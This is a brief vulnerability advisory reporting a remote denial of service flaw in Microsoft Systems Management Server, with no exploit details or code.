Reportedly Microsoft Systems Management Server is vulnerable to a remote denial of service vulnerability. This issue is due to a failure of the affected server to handle exceptional conditions.

Successful exploitation of this issue will allow an attacker to trigger a denial of service condition in the affected server. Code execution might be possible but is unlikely and unconfirmed.
